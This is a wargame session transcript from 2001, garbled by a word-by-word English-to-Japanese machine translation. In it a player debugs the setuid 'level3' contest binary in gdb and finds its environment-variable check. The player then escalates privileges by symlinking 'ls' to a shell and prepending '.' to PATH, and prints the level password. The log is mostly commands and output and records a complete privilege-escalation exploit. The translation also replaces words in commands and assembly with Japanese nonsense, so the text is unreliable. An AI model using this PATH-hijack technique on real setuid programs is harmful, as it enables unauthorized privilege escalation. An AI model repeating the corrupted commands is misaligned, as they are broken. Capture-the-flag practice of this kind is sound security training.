このページはEtoJ逐語翻訳フィルタによって翻訳生成されました。 |
Script started on Mon Dec 24 07:09:25 2001 恐れる:0:level3$ telnet 切り開く/タクシー/不正アクセス.datafort.逮捕する Trying 213.132.58.103... Connected to 切り開く/タクシー/不正アクセス.datafort.逮捕する. Escape character is '^]'. FreeBSD/i386 (badc0ded.datafort.逮捕する) (ttyp2) login: level2 Password: Last login: Mon Dec 24 10:50:15 from 66.157.228.70 Copyright (c) 1980, 1983, 1986, 1988, 1990, 1991, 1993, 1994 The Regents of the University of California. All 権利s reserved. FreeBSD 4.4-RELEASE (GENERIC) #0: Tue Sep 18 11:57:08 PDT 2001 bash-2.05$ cd temp bash-2.05$ cp /contest/level3 . bash-2.05$ ./level3 bash-2.05$ gdb -q ./level3 (no debugging symbols 設立する)... (gdb) disas main 捨てる of assembler code for 機能(する)/行事 main: 0x8048530 <main>: 押し進める %ebp 0x8048531 <main+1>: mov %esp,%ebp 0x8048533 <main+3>: sub $0x8,%esp 0x8048536 <main+6>: 追加する $0xfffffff4,%esp 0x8048539 <main+9>: 押し進める $0x80485cf 0x804853e <main+14>: call 0x80483d4 <getenv> 0x8048543 <main+19>: 追加する $0x10,%esp 0x8048546 <main+22>: mov %eax,%eax 0x8048548 <main+24>: 実験(する) %eax,%eax 0x804854a <main+26>: jne 0x804855c <main+44> 0x804854c <main+28>: 追加する $0xfffffff4,%esp 0x804854f <main+31>: 押し進める $0x0 0x8048551 <main+33>: call 0x8048414 <出口> 0x8048556 <main+38>: 追加する $0x10,%esp 0x8048559 <main+41>: lea 0x0(%esi),%esi 0x804855c <main+44>: 追加する $0xfffffff8,%esp 0x804855f <main+47>: 押し進める $0x80485d8 0x8048564 <main+52>: 追加する $0xfffffff4,%esp 0x8048567 <main+55>: 押し進める $0x80485cf 0x804856c <main+60>: call 0x80483d4 <getenv> 0x8048571 <main+65>: 追加する $0x10,%esp 0x8048574 <main+68>: mov %eax,%eax 0x8048576 <main+70>: 押し進める %eax 0x8048577 <main+71>: call 0x80483f4 <strcmp> 0x804857c <main+76>: 追加する $0x10,%esp 0x804857f <main+79>: mov %eax,%eax 0x8048581 <main+81>: 実験(する) %eax,%eax 0x8048583 <main+83>: jne 0x8048595 <main+101> 0x8048585 <main+85>: 追加する $0xfffffff4,%esp 0x8048588 <main+88>: 押し進める $0x80485e7 0x804858d <main+93>: call 0x80483e4 <system> 0x8048592 <main+98>: 追加する $0x10,%esp 0x8048595 <main+101>: leave 0x8048596 <main+102>: ret 0x8048597 <main+103>: nop End of assembler 捨てる. (gdb) break *0x804853e Breakpoint 1 at 0x804853e (gdb) break *0x804856c Breakpoint 2 at 0x804856c (gdb) break *0x8048577 Breakpoint 3 at 0x8048577 (gdb) break *0x804858d Breakpoint 4 at 0x804858d (gdb) run Starting program: /usr/tmp/temp/./level3 (no debugging symbols 設立する)...(no debugging symbols 設立する)... Breakpoint 1, 0x804853e in main () (gdb) x/s 0x80485cf 0x80485cf <_fini+7>: "badc0ded" (gdb) cont Continuing. Program 出口d 普通は. (gdb) やめる bash-2.05$ 輸出(する) badc0ded=wtf bash-2.05$ gdb -q ./level3 (no debugging symbols 設立する)... (gdb) break *0x804853e Breakpoint 1 at 0x804853e (gdb) break *0x804856c Breakpoint 2 at 0x804856c (gdb) break *0x8048577 Breakpoint 3 at 0x8048577 (gdb) break *0x804858d Breakpoint 4 at 0x804858d (gdb) run Starting program: /usr/tmp/temp/./level3 (no debugging symbols 設立する)...(no debugging symbols 設立する)... Breakpoint 1, 0x804853e in main () (gdb) cont Continuing. Breakpoint 2, 0x804856c in main () (gdb) x/s $eax 0xbfbffd53: "wtf" (gdb) x/wx $esp 0xbfbffb84: 0xbfbffd53 (gdb) 0xbfbffb88: 0x080485d8 (gdb) x/s 0x80485d8 0x80485d8 <_fini+16>: "that is 権利." (gdb) やめる The program is running. 出口 anyway? (y or n) y bash-2.05$ 輸出(する) badc0ded='that is 権利.' bash-2.05$ !gdb gdb -q ./level3 (no debugging symbols 設立する)... (gdb) break *0x804858d (gdb) run Starting program: /usr/tmp/temp/./level3 (no debugging symbols 設立する)...(no debugging symbols 設立する)... Breakpoint 1, 0x804858d in main () (gdb) x/wx $esp 0xbfbffb7c: 0x080485e7 (gdb) x/s 0x80485e7 0x80485e7 <_fini+31>: "ls" (gdb) やめる The program is running. 出口 anyway? (y or n) y bash-2.05$ ln -s /貯蔵所/sh ls bash-2.05$ 輸出(する) PATH=.:$PATH bash-2.05$ /contest/level3 $ id uid=1002(level2) euid=1003(level3) gid=1002(level2) groups=1002(level2) $ pass The password for level3 is buzz113 $ 出口 bash-2.05$ 出口 関係 の近くにd by foreign host. 恐れる:0:level3$ Script done on Mon Dec 24 07:37:35 2001